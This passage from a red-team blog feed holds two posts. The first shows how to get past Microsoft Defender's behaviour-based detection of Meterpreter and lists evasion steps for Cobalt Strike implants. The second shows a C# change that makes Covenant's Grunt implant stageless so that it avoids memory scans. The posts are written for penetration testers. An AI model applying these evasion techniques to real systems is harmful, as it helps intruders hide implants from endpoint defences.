<p>And again, this is a behaviour-based Detection, which is triggered by additional DLL files, loaded via plain Win32 APIs and <a href="https://github.com/rapid7/ReflectiveDLLInjection/tree/fac3adab1187deade60eef27be8423ee117c1e1f">reflective DLL-Injection</a> technique. In this case, the Injection of the stdapi-DLL triggered an Alert.</p>

<p>In the <em>msfconsole</em> prompt, you can pass the following command to disable loading of the <a href="https://github.com/rapid7/metasploit-Payloads/tree/master/c/meterpreter/source/extensions/stdapi">stdapi DLL</a>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">set </span>autoloadstdapi <span class="nb">false</span>
</code></pre></div></div>

<p>After doing that, you should be pretty fine getting your Meterpreter Session incoming:</p>

<p align="center">
          <img src="/assets/posts/SignatureBehaviour/NoMetDetection.JPG" />
</p>

<p>Disabling stdapi loading will, however lead to you having nearly no commands/modules in your Meterpreter-Session and only the “Core Commands” will be available.</p>

<p>After waiting some minutes, you can load stdapi manually with the following command and there should be still no Detection:</p>

<p align="center">
          <img src="/assets/posts/SignatureBehaviour/LoadStdAPI.JPG" />
</p>

<p>What is this behaviour-based Detection about? I cannot tell 100% for sure, but it’s most likely the combination of:</p>

<ul>
  <li>A newly spawned Process</li>
  <li>Timeframe x for the new Process till specific Windows APIs for reflective loading of a DLL are called</li>
  <li>A Memory Scan, to verify malicious content</li>
  <li>Detection of Meterpreter in Memory and the action of killing the Process</li>
</ul>

<p>Note: This is only ONE possible way to bypass Defenders Meterpreter behaviour-based Detection. And I’m assuming, that the Microsoft Defender Team will add additional checks after the publication of this post, as this happened for some other of my Videos or Posts. So at some point you’ll need to dig into alternatives yourself. My primary goal is not to explain how to get Meterpreter to work, but to give you an understanding about what happens.</p>

<p>As already mentioned in this post above, one general way to bypass Memory Scans is modification of the source code to avoid signatures in Memory. As this behaviour-based Detection - like <strong>many</strong> other <strong>C2-Payload</strong> Detections - is verified by a Memory Scan, it’s another option here to modify the source code. One automated approach for Meterpreter source code obfuscation was published <a href="https://blog.scrt.ch/2022/04/19/3432/">in this blog post</a>. We did go that route at work - with additional manual modifications - and were able to avoid this Detection with autostdapi-Loading enabled. If you want to do that, be prepared to spend some days with the Meterpreter Code base.</p>

<p>The third way - Memory encryption - it not that easy to accomplish for Meterpreter, as the HTTP/HTTPS source code does not function like many other C2-Frameworks in terms of Sleeping for time-frame x before asking for commands. It’s just about throwing out many HTTP(S) requests with small delays in between. So Memory Encryption would disrupt this Process. If you want to go this route, you would therefore need to integrate a custom Sleep-function with Memory encryption in the source code yourself.</p>

<h3 id="cobalt-strike-detections-and-my-personal-journey-with-them">Cobalt Strike Detections and my personal Journey with them</h3>

<p>Cobalt Strike is most likely the <strong>most sigged</strong> and most <strong>in depth analysed</strong> C2-Framework out there. This is most likely due to the fact, that it was ab(used) by many different threat-actors in the wild for the last years. Not changing default settings will not be usable in the most environments, as this will instantly get detected.</p>

<p>Even using a custom Packer/Loader with Syscalls for the Shellcode execution will in many environments still fail. So I’m going to explain at least the <strong>very minimum</strong> requirements and modifications you will need to do  as operator when using this Framework. I’m not a Cobalt Strike professional user in any way, it’s just one year of experience with it - reading all of the documentations and trying out different tools/setups. So I might miss some things, that more experienced Operators are using.</p>

<p><ins>C2-Server/Infrastructure minimum requirements:</ins></p>

<ol>
  <li><strong>Disable</strong> staging in the Malleable profile - if it’s enabled your Implant will get burned almost instantly, as there are many Internet wide automated Scanners which download the second stage to analyze and share it.</li>
  <li>You <strong>have to</strong> use a custom Malleable C2-Profile with many different important evasion settings to get rid of at least <em>some</em> Detections. I had good experience with <a href="https://github.com/Tylous/SourcePoint">SourcePoint</a> generated Profiles myself.</li>
  <li>It’s <strong>nessesary</strong>  to use a redirector in front of the C2-Server. This redirector should drop/block known Sandbox analysis IP-ranges and only allow and redirect those requests, that comply with the Malleable C2 profile. Good example tools to automate this Process are <a href="https://github.com/mgeeky/RedWarden">RedWarden</a> or <a href="https://github.com/wikiZ/RedGuard">RedGuard</a>. Not using this technique will likely lead to your implant getting burned. <strong>Fingerprinting</strong> and Detection of the Cobalt Strike server <strong>after the first Connection</strong> as mentioned for example in <a href="https://www.mdsec.co.uk/2022/07/part-2-how-i-met-your-beacon-cobalt-strike/">this MDSec blog post</a> can also be avoided with it.</li>
</ol>

<p><ins>Implant minimum requirements:</ins></p>

<ol>
  <li>Use Encryption/Obfuscation and Runtime-Decryption/De-obfuscation to Pack the Shellcode. If you don’t do that, your Loader will get flagged by Signature on disk or in Memory (depending on how you load it)</li>
  <li>Use direct or indirect Syscalls to execute CS-Shellcode or to load the artifact from Memory. Not doing that will lead to instant Detections in most environments, as the Shellcode always has the same IoCs and will get detected by AV/EDR hooks very easy.</li>
  <li>Use <a href="https://attack.mitre.org/techniques/T1480/001/">environmental keying</a> to bypass potential Sandbox- or automated EDR Cloud-Submission-Analysis.</li>
  <li>You <strong>have to</strong> modify the default Sleep mask template in Cobalt Strike via the Arsenal Kit. If enabled in the Malleable C2-Profile, the Beacon will encrypt both Heap and Stack Memory to hide itself from Memory Scanners <strong>after</strong> successful execution. But as this default Sleep mask source Code <strong>itself</strong> is also heavily targeted by AV/EDR signatures and will therefore also get flagged by Memory Scanners. You <strong>should not</strong> use any unmodified public Github Sleep encryption code for that, as this will also get flagged.</li>
</ol>

<p>All of these points (except the Sleep Mask modifications) can be done either by a completely custom Packer/Loader or with the Arsenal Kit, which already provides a lot of template code to start with. If you’re planning to use the Arsenal Kit you <strong>have to</strong> get familiar with C/C++ and do <strong>heavy</strong> customizations to the template code to get rid of Detections (That’s at least what other people in the community told me, which went this route). I personally always used raw-Shellcode output and my own private custom Packer/Loader to implement the things mentioned above.</p>

<p>The Sleep Mask modifications also apply to raw-Shellcode output, so you’re even fine modifying that in the Arsenal Kit when using your own custom Loader. I got CS running against Defender with the mentioned modifications, however, Defender for Endpoint did still did detect many behaviours in my testings.</p>

<p><ins>Note:</ins> Even if you applied all of the mentioned requirements, your implant can still get detected in mature environments. Depending on which EDR is used in your target environment, it’s just not enough. There are still some problems left:</p>

<ol>
  <li>Don’t think you won, if you got an incoming Beacon connection. In many environments I was able to get a Beacon to run, but after issuing a <strong>single</strong> command/module the implant was instantly detected and killed. As I said, CS is most probably the most sigged Framework out there, take a look at <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_CobaltStrike.yar">for example these yara rules</a> and you will see, that vendors did implement Detection rules for nearly <strong>every</strong> command/module. These behaviour-based detections made me personally using Cobalt Strike <strong>only</strong> to initiate a reverse Socks Connection and nothing more to avoid local system IoCs and do everything over the network via socks. So in many of my projects Cobalt Strike more or less became a standalone socks5 reverse proxy software.</li>
  <li>There might be a Blue Team and/or Threat hunters in your target environment. Even simple IoCs can lead to a manual analysis/review. In that case you will need to be aware of many more deeper evasion techniques. For automated AV/EDR analysis, a simple Memory encryption might be fine, but in this case you will need to avoid many more IoC’s like RWX/RX Memory permissions, you cannot use Win32 Sleep as that’s easy to detect and many more things to mention. Take a look at <a href="https://blog.kyleavery.com/posts/avoiding-memory-scanners/">this post</a> and the linked references/tools to get an idea about the topic.</li>
  <li>In some environments my Beacon/Process was even detected before calling back. I cannot tell what these Detections were about and I had no clue about how to bypass them to be honest.</li>
</ol>

<p>Some more experienced Cobalt Strike users hinted me to the nearly endless possibilities of User defined reflective Loaders (UDRL) such as <a href="https://github.com/SecIdiot/TitanLdr">TitanLdr</a>. Tweaking the Cobalt Strike behaviour via the Malleable Profile options is in mature environments not enough. The Core for example will always use Win32 APIs (with potential Detections) instead of direct Syscalls. Until someone integrates a Syscall option with an Update. But with UDRL’s you can also modify all of the Cobalt Strike Core behaviour by using Import Address Table Hooks. You could for example Hook <em>VirtualProtect</em> of the Core to become <em>NtProtectVirtualMemory</em>.</p>

<p>So instead of using a Custom Packer/Loader or the Arsenal Kit with modifications it <em>might be</em> the stealthiest way to stick with UDRL’s due to the current limitations of the CS-Core itself.</p>

<p>For me personally, this was not an option anymore. Hooking the IAT to modify a closed source softwares Core only to bypass behaviour-based Detections? At some point I decided to at least for this moment not dig deeper and deeper into Windows Internals just to get a C2-Connection with this Framework to run. After one year of having only a very few environments with no Detections and some with a reverse Socks proxy I decided to use other Frameworks. I was always fine without CS before and it will be fine in the future again.</p>

<h3 id="is-all-of-this-evasion-techniques-really-needed">Is all of this evasion-techniques really needed?</h3>

<p>I would like to include a fundamental question in this post. Is all of this really needed? Is it <strong>needed</strong> to use Syscalls? Is it <strong>needed</strong> to use Memory encryption? Is it <strong>needed</strong> to unhook all the things? Is it <strong>needed</strong> to bypass AMSI or ETW? Is this tool which is known malicious worth the additional evasion effort?</p>

<p>The very simple answer to this from my current knowledge and point of view is - <strong>no</strong>! Why not? Well, I think the InfoSec Industry really pushed each other to more and more and new limits over all these years. But all these evasion techniques are somehow still <em>just</em> used to bypass signatures.</p>

<p>If you’re using self-generated Shellcode, it’s an option to stick to Win32 APIs again. <em>WriteProcessMemory</em> or <em>CreateThread</em> will lead to Detections of the input arguments and to an analysis of the Shellcode-Entrypoint. But if that has no <em>known malicious signature</em>, it will run fine and not get blocked.</p>

<p>If you’re using In-House-Tooling or heavily modified Open Source code, AMSI will never catch you because it’s searching for <em>known signatures</em>.</p>

<p>If you’re using an heavily obfuscated OpenSource C2-Framework or again a self developed one - Memory Scans won’t catch you. Of course, you don’t want to give a plain C2-Stager from Memory to the Blue Team as present, so using encryption still makes sense in that case.</p>

<p>This is of course a very hypothetical world. Most IT-Security Consulting companies don’t spend that much time and money into development and research which would make this conditions apply. Threat-Actors will also have a budget limit. Therefore most stick to either OpenSource tools or commercial Software, because this saves time and money.</p>

<p>But from my point of view people should be aware of this fact, as for many tools heavy modifications are one-time effort. As long as you don’t publish the code. If you spend some hours into modifications for years every week, you may not need to bypass AMSI anytime anymore. If you developed an in-house-C2, you don’t <strong>nessesarily</strong> need to care about <em>some</em> evasion techniques.</p>

<p>What do you think?</p>

<h2 id="conclusion">Conclusion</h2>

<p>On the one hand, I wanted to use this article to give an overview of what a Packer <strong>can</strong> technically bypass and at what point the <strong>Operator</strong> has to take action <strong>himself</strong>. Some things should hopefully be clear:</p>

<ul>
  <li>The Operator should know what his Payload is doing</li>
  <li>The Operator should know about the Indicators of Compromise (IoCs) for his Payloads</li>
  <li>Behaviour-based Detections can only get bypassed by the Operator himself via Payload modification</li>
</ul>

<p>On the other hand I showed some examples on how to bypass behaviour-based Detections from Defender for</p>

<ul>
  <li>The Fodhelper UAC Bypass</li>
  <li>Meterpreter</li>
  <li>Cobalt Strike</li>
</ul>

<p>For Cobalt Strike detections in other mature environments - well at some point I stopped digging deeper as it was just too much of a BlackBox for me. I’m still excited about it’s future development and will follow all those changes. Who knows, maybe someday I’ll pick it up again.</p>

<p>The post ended up with the fundamental question about if all this stuff is even needed at all. Sometimes you will not get around it because the software/tool is closed source and known malicious. I personally think, that it’s not. But this <em>just</em> depends on which Payload you’re using. With custom tools or obfuscation many evasion techniques should not be needed at all. But as custom tools or heavy modification for each tool needs a lot of effort, the alternative of more and more evasion techniques has to be accepted in many cases. At one point you just have to question yourself, if additional effort for evasion is worth getting a known malicious Payload to work. I’m curious, where this pushing will lead to in the next years. Maybe there will be a Point at some time, where people prefer more one-time-effort against a constant up-to-date evasion practice.</p>

<h2 id="links--resources">Links &amp; Resources</h2>

<ul>
  <li>Yara <a href="https://github.com/Yara-Rules/rules">https://github.com/Yara-Rules/rules</a></li>
  <li>Elastic Mimikatz Yara rule <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_Mimikatz.yar">https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_Mimikatz.yar</a></li>
  <li>Entropy based Detections <a href="https://practicalsecurityanalytics.com/file-entropy/">https://practicalsecurityanalytics.com/file-entropy/</a></li>
  <li>SleepKiller <a href="https://github.com/ZeroMemoryEx/SleepKiller">https://github.com/ZeroMemoryEx/SleepKiller</a></li>
  <li>Fodhelper UAC Bypass <a href="https://pentestlab.blog/2017/06/07/uac-bypass-fodhelper/">https://pentestlab.blog/2017/06/07/uac-bypass-fodhelper/</a></li>
  <li>Reflective DLL Injection <a href="https://github.com/rapid7/ReflectiveDLLInjection/tree/fac3adab1187deade60eef27be8423ee117c1e1f">https://github.com/rapid7/ReflectiveDLLInjection/tree/fac3adab1187deade60eef27be8423ee117c1e1f</a></li>
  <li>Meterpreter stdapi <a href="https://github.com/rapid7/metasploit-Payloads/tree/master/c/meterpreter/source/extensions/stdapi">https://github.com/rapid7/metasploit-Payloads/tree/master/c/meterpreter/source/extensions/stdapi</a></li>
  <li>Engineering antivirus evasion (Part III) <a href="https://blog.scrt.ch/2022/04/19/3432/">https://blog.scrt.ch/2022/04/19/3432/</a></li>
  <li>Environmental Keying <a href="https://attack.mitre.org/techniques/T1480/001/">https://attack.mitre.org/techniques/T1480/001/</a></li>
  <li>Cobalt Strike Yara rules <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_CobaltStrike.yar">https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_CobaltStrike.yar</a></li>
  <li>Avoiding Memory Scanners <a href="https://blog.kyleavery.com/posts/avoiding-memory-scanners/">https://blog.kyleavery.com/posts/avoiding-Memory-Scanners/</a></li>
  <li>TitanLdr <a href="https://github.com/SecIdiot/TitanLdr">https://github.com/SecIdiot/TitanLdr</a></li>
</ul>]]></content><author><name>S3cur3Th1sSh1t</name></author><summary type="html"><![CDATA[In this blog post, the main difference between signature-based and behavior-based Detections are explained. In addition, examples are shown with respective Detection bypasses.]]></summary></entry><entry><title type="html">Stageless HTTP in Covenant</title><link href="https://s3cur3th1ssh1t.github.io/Covenant_Stageless_HTTP/" rel="alternate" type="text/html" title="Stageless HTTP in Covenant" /><published>2022-05-19T00:00:00+00:00</published><updated>2022-05-19T00:00:00+00:00</updated><id>https://s3cur3th1ssh1t.github.io/Covenant_Stageless_HTTP</id><content type="html" xml:base="https://s3cur3th1ssh1t.github.io/Covenant_Stageless_HTTP/"><![CDATA[<p>This is a short post on how to use stageless HTTP Grunt’s in Covenant + some staged vs stageless thoughts from my side.</p>

<!--more-->

<h2 id="staged-vs-stageless-payloads">Staged vs. Stageless payloads</h2>

<p>Many Command &amp; Control Frameworks (C2) give the user the option to generate either <code class="language-plaintext highlighter-rouge">staged</code>  or <code class="language-plaintext highlighter-rouge">stageless</code> payloads. Theese two options have different advantages and disadvantages.</p>

<p>For example Meterpreter, a staged payload can be generated via <code class="language-plaintext highlighter-rouge">windows/meterpreter/reverse_https</code> and stageless payloads are generated <code class="language-plaintext highlighter-rouge">payload windows/meterpreter_reverse_https</code> (“_” instead of “/”).</p>

<p>But what does this even mean?</p>

<h3 id="staged-payloads">Staged payloads</h3>

<p>Staged payloads (Stage1) are small executables, that contact the C2-Server to grab a seccond payload (Stage2) from it to execute this (mostly) from memory. The advantages are:</p>

<ul>
  <li>The executable/shellcode is small, it <code class="language-plaintext highlighter-rouge">only</code> loads a bigger payload into memory</li>
  <li>There are less signature possibilities for less code - less detections when dropping the first stage on disk</li>
  <li>If Stage1 is detected/identified/blocked, the defenders won’t easily be able to analyse Stage2</li>
</ul>

<p>Disadvantages:</p>

<ul>
  <li>Loading Stage2 comes with additional host based and or network Indicators of Compromise (IoC’s), which can lead to behavioral detections</li>
  <li>If you don’t obfuscate the whole code base (Stage1 + Stage2) it’s easy to flag Stage2 via memory scans</li>
</ul>

<h2 id="stageless-payloads">Stageless payloads</h2>

<p>Stageless payloads have everything included for the whole C2 implant to fully work and execute it’s tasks. Therefore no Stage2 is loaded at all. Advantages:</p>

<ul>
  <li>No additional host based indicators for reflective loading and no Stage2 network indicator</li>
  <li>Obfuscating Stage1 will care for the whole implant as there is only one Stage</li>
</ul>

<p>Disadvantages:</p>

<ul>
  <li>Bigger executable/shellcode</li>
  <li>More signature possibilities</li>
  <li>If detected/identified/blocked - the whole implant can be analysed by the Blue Team</li>
</ul>

<h2 id="opsec-considerations">OpSec considerations</h2>

<p>What is the best thing for your current situation? From my point of view that stronly depends on which C2 you are using and on which host or network detection systems are placed in your target environment.</p>

<p>Best case ideas:</p>

<ul>
  <li>Obfuscating a whole public C2 including all stages on source code level, so that you could use the advantages of staged payloads plus having no cleartext Stage2 in memory</li>
  <li>Using Stageless payloads with obfuscation</li>
  <li>Using encrypted stageless payloads and decrypt them on runtime in memory but execute them as stealthy as possible, e.g. via syscalls in the hope, that this doesn’t trigger memory scans</li>
  <li>Building your own C2. We are currently doing that in my company to avoid future detections. No public code, no signatures to detect malicious stuff <code class="language-plaintext highlighter-rouge">¯\_(ツ)_/¯</code></li>
</ul>

<p>Optional:</p>

<ul>
  <li>Encrypting the memory of the implant via e.g. Sleep hooks, one public example implementation is <a href="https://github.com/mgeeky/ShellcodeFluctuation">ShellcodeFluctuation</a> by <a href="https://twitter.com/mariuszbit">@mariuszbit</a>.</li>
  <li>Avoid RWX/RX permissions for memory pages to avoid anomalies</li>
  <li>If Stage1 or Stage2 makes use of Win32 API’s you should port them to Syscalls</li>
</ul>

<p>In the last months I myself was only using stageless payloads due to staged payloads getting caught more and more often. But if you want to do some <a href="https://attack.mitre.org/techniques/T1480/001/">environmental keying</a> checks before loading Stage2 a staged payload may fit better.</p>

<p>I personally also like the idea of obfuscating a whole Open Source public C2 to avoid detections. This should apply for Stage1/Stage2 and all loaded Modules (includes Mimikatz and all other tools used). But this may be a big overhead for most people. <a href="https://twitter.com/PlowSec">PlowSec</a> recently wrote a good article (actually three in a row) including an automated tool to obfuscate the meterpreter source code. <a href="https://blog.scrt.ch/2022/04/19/3432/">Worth reading</a>.</p>

<h3 id="covenant--stageless-payloads">Covenant &amp; stageless payloads</h3>

<p>Covenant comes with different protocol templates:</p>

<p align="center">
          <img src="/assets/posts/CovenantStageless/Templates.PNG" />
</p>

<p>It is very easy to edit those templates or to build custom ones via the web application. But taking a look at all of those templates we’ll see that there are only staged payloads:</p>

<p align="center">
          <img src="/assets/posts/CovenantStageless/Staged.PNG" />
</p>

<p>From time to time when getting detected is not that relevant in a project I was lazy and did setup a fresh Covenant instance, maybe even used my <a href="https://s3cur3th1ssh1t.github.io/Customizing_C2_Frameworks/">string replacements technique</a> created default template payloads, which I obfuscated via public or commercial obfuscators. This was really fine for some years now to not get detected by any AV/EDR. But in the recent months, more and more vendors still detected it and I wondered why.</p>

<p>It was the points mentioned above. I did obfuscate Stage1 but Stage2 just had some string replacements and was still detected in memory after a memory scan. That sucks.</p>

<p>So I thought about changing the template code to have all nessesary code in one payload directly. And it was actually pretty easy to do so and not much work. The Covenant default <code class="language-plaintext highlighter-rouge">StagerCode</code> loads Stage2 in lines 194-206, which looks like that:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
 <span class="n">Stage2Response</span> <span class="p">=</span> <span class="n">wc</span><span class="p">.</span><span class="nf">UploadString</span><span class="p">(</span><span class="n">CovenantURI</span> <span class="p">+</span> <span class="n">ProfileHttpUrls</span><span class="p">[</span><span class="n">random</span><span class="p">.</span><span class="nf">Next</span><span class="p">(</span><span class="n">ProfileHttpUrls</span><span class="p">.</span><span class="n">Count</span><span class="p">)].</span><span class="nf">Replace</span><span class="p">(</span><span class="s">"{GUID}"</span><span class="p">,</span> <span class="n">GUID</span><span class="p">),</span> <span class="n">String</span><span class="p">.</span><span class="nf">Format</span><span class="p">(</span><span class="n">ProfileHttpPostRequest</span><span class="p">,</span> <span class="n">transformedResponse</span><span class="p">));</span>
 <span class="n">extracted</span> <span class="p">=</span> <span class="nf">Parse</span><span class="p">(</span><span class="n">Stage2Response</span><span class="p">,</span> <span class="n">ProfileHttpPostResponse</span><span class="p">)[</span><span class="m">0</span><span class="p">];</span>
 <span class="n">extracted</span> <span class="p">=</span> <span class="n">Encoding</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="nf">GetString</span><span class="p">(</span><span class="n">MessageTransform</span><span class="p">.</span><span class="nf">Invert</span><span class="p">(</span><span class="n">extracted</span><span class="p">));</span>
 <span class="n">parsed</span> <span class="p">=</span> <span class="nf">Parse</span><span class="p">(</span><span class="n">extracted</span><span class="p">,</span> <span class="n">MessageFormat</span><span class="p">);</span>
 <span class="n">iv64str</span> <span class="p">=</span> <span class="n">parsed</span><span class="p">[</span><span class="m">3</span><span class="p">];</span>
 <span class="n">message64str</span> <span class="p">=</span> <span class="n">parsed</span><span class="p">[</span><span class="m">4</span><span class="p">];</span>
 <span class="n">hash64str</span> <span class="p">=</span> <span class="n">parsed</span><span class="p">[</span><span class="m">5</span><span class="p">];</span>
 <span class="n">messageBytes</span> <span class="p">=</span> <span class="n">Convert</span><span class="p">.</span><span class="nf">FromBase64String</span><span class="p">(</span><span class="n">message64str</span><span class="p">);</span>
 <span class="k">if</span> <span class="p">(</span><span class="n">hash64str</span> <span class="p">!=</span> <span class="n">Convert</span><span class="p">.</span><span class="nf">ToBase64String</span><span class="p">(</span><span class="n">hmac</span><span class="p">.</span><span class="nf">ComputeHash</span><span class="p">(</span><span class="n">messageBytes</span><span class="p">)))</span> <span class="p">{</span> <span class="k">return</span><span class="p">;</span> <span class="p">}</span>
 <span class="n">SessionKey</span><span class="p">.</span><span class="n">IV</span> <span class="p">=</span> <span class="n">Convert</span><span class="p">.</span><span class="nf">FromBase64String</span><span class="p">(</span><span class="n">iv64str</span><span class="p">);</span>
 <span class="kt">byte</span><span class="p">[]</span> <span class="n">DecryptedAssembly</span> <span class="p">=</span> <span class="n">SessionKey</span><span class="p">.</span><span class="nf">CreateDecryptor</span><span class="p">().</span><span class="nf">TransformFinalBlock</span><span class="p">(</span><span class="n">messageBytes</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="n">messageBytes</span><span class="p">.</span><span class="n">Length</span><span class="p">);</span>
 <span class="n">Assembly</span> <span class="n">gruntAssembly</span> <span class="p">=</span> <span class="n">Assembly</span><span class="p">.</span><span class="nf">Load</span><span class="p">(</span><span class="n">DecryptedAssembly</span><span class="p">);</span>
 <span class="n">gruntAssembly</span><span class="p">.</span><span class="nf">GetTypes</span><span class="p">()[</span><span class="m">0</span><span class="p">].</span><span class="nf">GetMethods</span><span class="p">()[</span><span class="m">0</span><span class="p">].</span><span class="nf">Invoke</span><span class="p">(</span><span class="k">null</span><span class="p">,</span> <span class="k">new</span> <span class="n">Object</span><span class="p">[]</span> <span class="p">{</span> <span class="n">CovenantURI</span><span class="p">,</span> <span class="n">CovenantCertHash</span><span class="p">,</span> <span class="n">GUID</span><span class="p">,</span> <span class="n">SessionKey</span> <span class="p">});</span>

</code></pre></div></div>

<p>Stage2 therefore is the compiled <code class="language-plaintext highlighter-rouge">ExecutorCode</code> which is loaded via <code class="language-plaintext highlighter-rouge">Assembly.Load</code> by Stage1. To build a single payload I just copied the <code class="language-plaintext highlighter-rouge">Grunt</code> class from the ExecutorCode into the <code class="language-plaintext highlighter-rouge">GruntStager</code> namespace of the <code class="language-plaintext highlighter-rouge">StagerCode</code>. You also need to import all nessesary libraries from the <code class="language-plaintext highlighter-rouge">ExecutorCode</code>.</p>

<p>You also need to remove the <code class="language-plaintext highlighter-rouge">static</code> declaration from the <code class="language-plaintext highlighter-rouge">execute</code> method to call it from within the <code class="language-plaintext highlighter-rouge">GruntStager</code>.</p>

<p>Doing so you can just replace the code from above which loads Stage2 with the following:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Stage2Response</span> <span class="p">=</span> <span class="n">wc</span><span class="p">.</span><span class="nf">UploadString</span><span class="p">(</span><span class="n">CovenantURI</span> <span class="p">+</span> <span class="n">ProfileHttpUrls</span><span class="p">[</span><span class="n">random</span><span class="p">.</span><span class="nf">Next</span><span class="p">(</span><span class="n">ProfileHttpUrls</span><span class="p">.</span><span class="n">Count</span><span class="p">)].</span><span class="nf">Replace</span><span class="p">(</span><span class="s">"{GUID}"</span><span class="p">,</span> <span class="n">GUID</span><span class="p">),</span> <span class="n">String</span><span class="p">.</span><span class="nf">Format</span><span class="p">(</span><span class="n">ProfileHttpPostRequest</span><span class="p">,</span> <span class="n">transformedResponse</span><span class="p">));</span>
<span class="n">Grunt</span> <span class="n">Stage2</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">Grunt</span><span class="p">();</span>
<span class="n">Stage2</span><span class="p">.</span><span class="nf">Execute</span><span class="p">(</span><span class="n">CovenantURI</span><span class="p">,</span> <span class="n">CovenantCertHash</span><span class="p">,</span> <span class="n">GUID</span><span class="p">,</span> <span class="n">SessionKey</span><span class="p">);</span>
</code></pre></div></div>

<p>The Stage2-Request has still to be done here, as without doing so Covenant won’t register the new Grunt. You would also need to modify server side code to fully get rid of this request I guess. But we can remove the ExecutorCode, so that nothing will get served as Stage2 anyway.</p>

<p>Thats already it.</p>

<p align="center">
          <img src="/assets/posts/CovenantStageless/Stageless.PNG" />
</p>

<p>The example code can be found in this <a href="https://gist.github.com/S3cur3Th1sSh1t/967927eb89b81a5519df61440357f945">gist</a>. Have fun playing with it.</p>

<h2 id="conclusion">Conclusion</h2>

<p>Staged vs stageless payloads. A decision to be choosen by you as operator. I mentioned some advantages and disadvantages here, but I’m also sure there are many more considerations to take for this question.</p>

<p>However, in the recent months I did have the need for Covenant with stageless payloads. I used some obfuscators for this one Stage and the implant was not detected again, problem solved. This may also help you if you faced similar problems in the past.</p>

<p>Short one. Over and out.</p>

<h2 id="links--resources">Links &amp; Resources</h2>

<ul>
  <li>Covenant <a href="https://github.com/cobbr/Covenant">https://github.com/cobbr/Covenant</a></li>
  <li>Shellcodefluctuation  <a href="https://github.com/mgeeky/ShellcodeFluctuation">https://github.com/mgeeky/ShellcodeFluctuation</a></li>
  <li>Mitre Environmental Keying <a href="https://attack.mitre.org/techniques/T1480/001/">https://attack.mitre.org/techniques/T1480/001/</a></li>
  <li>Engineering antivirus evasion (Part III) <a href="https://blog.scrt.ch/2022/04/19/3432/">https://blog.scrt.ch/2022/04/19/3432/</a></li>
  <li>Customizing C2 Frameworks <a href="https://s3cur3th1ssh1t.github.io/Customizing_C2_Frameworks/">https://s3cur3th1ssh1t.github.io/Customizing_C2_Frameworks/</a></li>
</ul>]]></content><author><name>S3cur3Th1sSh1t</name></author><summary type="html"><![CDATA[This is a short post on how to use stageless HTTP Grunt’s in Covenant + some staged vs stageless thoughts from my side.]]></summary></entry></feed>